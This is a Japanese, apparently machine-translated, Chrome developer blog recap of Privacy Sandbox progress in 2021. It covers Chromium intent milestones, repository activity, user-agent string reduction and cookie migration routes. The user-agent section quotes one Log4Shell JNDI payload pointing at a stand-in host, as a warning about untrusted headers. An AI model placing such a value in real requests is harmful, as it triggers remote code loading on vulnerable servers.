Progress in the Privacy Sandbox 2021 のまとめへようこそ。ここでは、Chrome におけるサードパーティ Cookie の段階的廃止とウェブのプライバシー保護強化に向けた取り組みのマイルストーンをまとめています。通常は、プライバシー サンドボックスのタイムラインのアップデートの概要とプロジェクト全体のニュースを共有しますが、12 月は静かな月でした。代わりに、2021 年における活動のいくつかを振り返り、新年を迎えるにあたり可能な解決策をいくつか紹介します。
Chromium の開発プロセス
新しいウェブ プラットフォーム機能を Chromium に搭載するには、プロジェクトのオープン開発プロセスを行う必要があります。2021 年、プライバシー サンドボックス チームは次のことを行いました。
🥚 | プロトタイピングの目的 | 19 |
🧪 | テストの目的 | 7 |
🚀 | 発送の意向 | 11 |
それぞれのマイルストーンは、より広範なウェブ エコシステムの貢献への呼びかけでもあります。
「プロトタイプの意図」は最初のチェックポイントであり、そこでディスカッションと初期テストが求められます。つまり、提案は GitHub で公開され、Issue を作成して質問することや、W3C や IETF などの標準グループのディスカッションやプレゼンテーションに参加することができます。これはコーディングの出発点でもあります。つまり、プロトタイプ機能が機能フラグの背後にあるデベロッパー テストで利用できるようになることを期待できます。提案の検証と反復処理を行うには、初期のフィードバックが不可欠です。
テスト目的は、オリジン トライアルをリクエストする場合のオプションの手順です。デベロッパーは、機能のオリジン トライアルに登録して、本番環境でテストできます。実際の環境で検証したい特徴の特定の側面があるため、これはテストと呼ばれます。テストの結果をテストして共有できるデベロッパーは、機能のイテレーションと進化に役立つ貴重なフィードバックを提供します。
リリースの意向は、機能が完成し、一般提供できるようになったことを示す最後のマイルストーンです。承認されると、機能は今後のリリースに統合され、Canary、Beta、Stable チャンネルで順次リリースされます。Chrome の Canary バージョンとベータ版でサイトをテストして、機能が Stable になる前にバグを検出して報告することが重要です。
提案
プライバシー サンドボックスの各提案には、付属の GitHub リポジトリがあります。リポジトリには、全体的な機能、ブラウザによる実装の詳細な仕様、ウェブ エコシステム全体からのコントリビューション(問題と pull リクエストの形式)を要約した説明がホストされます。
14 個のプライバシー サンドボックス リポジトリで、
💬 | 545 | 問題が作成されました |
250 | クローズされた問題 | |
🛠️ | 261 | pull リクエストが作成されました |
223 | pull リクエストが統合されました |
説明と仕様の文言は多くの場合、標準やブラウザ開発に精通しているユーザーを対象としているため、よく知らない場合は難しい場合があります。ただし、解説の目的は説明することです。不明確な点やカバーされていない点がある場合は、問題を報告してください。Google が説明内容を更新して明確にします。
解決策
ユーザー エージェントのスプリング クリーニング
新年までカウントダウンするにあたり、Chrome 100 と、ユーザー エージェント文字列の削減を段階的に増やしていきます。これは、コード内でのユーザー エージェント文字列の使用を再確認して、これらの変更の影響を受けるかどうかを確認する良い動機付けとなります。
これらの領域を見つけるには:
- JavaScript コードで
navigator.userAgent
を検索するか、サーバーコードのUser-Agent
ヘッダーにアクセスします。 - 文字列の解析で、2 桁のバージョンに関する仮定の有無を確認します。たとえば、
\d\d
または\d{2}
を指定する正規表現は\d+
に置き換える必要があります。 - 以下に依存している場所で文字列が使用されているかどうかを確認します。
- プラットフォーム(オペレーティング システム)のバージョン
- Chrome のフルビルド バージョン
- モバイル デバイス名
- これらは今後、固定の文字列に削減される値です。これらの値にアクセスする必要がある場合は、User-Agent Client Hints に移行してください。
12 月にお知らせする更新があります。User-Agent Client Hints を採用している場合は、<meta>
タグを介して HTML の他のオリジンへのヒントの委任を有効にするため、通知を送信するインテントを送信しました。次に例を示します。
<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">
大掃除が目的の場合は、ユーザー エージェントの完全な使用の代わりに、代替手段を検討することもできます。この文字列を使用してモバイル デバイスの検出を行っている場合は、この文字列をレスポンシブ デザインに置き換えることができるかどうかを確認してください。ブラウザの名前とバージョンで機能のサポートを確認する場合は、代わりに機能検出を使用できるかどうかを確認してください。
クライアントが提供する値と同様に、user-agent が正確であるとは限りません。また、提供されるものでもありません。最近の Log4j の脆弱性「Log4shell」は、このリスクの例を示しています。ユーザー エージェント文字列に ${jndi:ldap://example.com/file}
などの値を含めるように設定しているクライアントは、サイトを取得してサーバー上で積極的に解析できる場合があります。
Cookie の目録作成
新年のもう 1 つの取り組みは、高品質の食材を使った健康的なクッキーの数に満足することです。Google はサードパーティ Cookie の廃止に向けた段階的な移行を進めているため、どのサイトの Cookie が影響を受けるかを把握しておく必要があります。2020 年には、すべての Cookie をクロスサイトまたはサードパーティで使用するために SameSite=None
でマークすることが必要となり、有利なスタートを切ることができました。
SameSite
属性を None
に設定した Cookie は更新する必要があります。
現時点で検討できるルートは 3 つあります。
- Cookie がトップレベル サイトと 1 対 1 の関係でのみ必要な場合は、CHIPS 提案の進捗状況に従います。つまり、Cookie に
Partitioned
属性を追加します。 - Cookie がクロスサイト コンテキストで使用されているが、お客様が所有および運営するサイト間でのみ使用されている場合は、ファーストパーティ セットの候補となる可能性があります。そのためには、セットでサイトを定義し、
SameParty
属性を Cookie に追加する必要があります。 - Cookie を使用して、複数のサイトでなんらかの共有値を提供する場合は、クロスサイト トラッキングに依存しない代替ソリューションを探すために、プライバシー サンドボックスの提案の幅広い選択肢を検討します。
特に健康を気にされている方は、ファーストパーティ Cookie を改善するための優れたレシピも提供しているので、この機会に Cookie の使用を再確認してください。
フィードバック
Google は今後も毎月のアップデートの公開とプライバシー サンドボックス全体を進めていく中で、デベロッパーが必要とする情報とサポートを確実にお届けしたいと考えています。このシリーズについて改善すべき点がございましたら、@ChromiumDev Twitter からお知らせください。いただいたご意見を参考に、今後もフォーマットの改善に努めてまいります。
プライバシー サンドボックスに関するよくある質問をご確認ください。プライバシー サンドボックスに関するよくある質問は、デベロッパー サポート担当者にご報告いただいた問題に基づいて継続的に拡大されています。提案のテストや実装についてご不明な点がございましたら、お問い合わせください。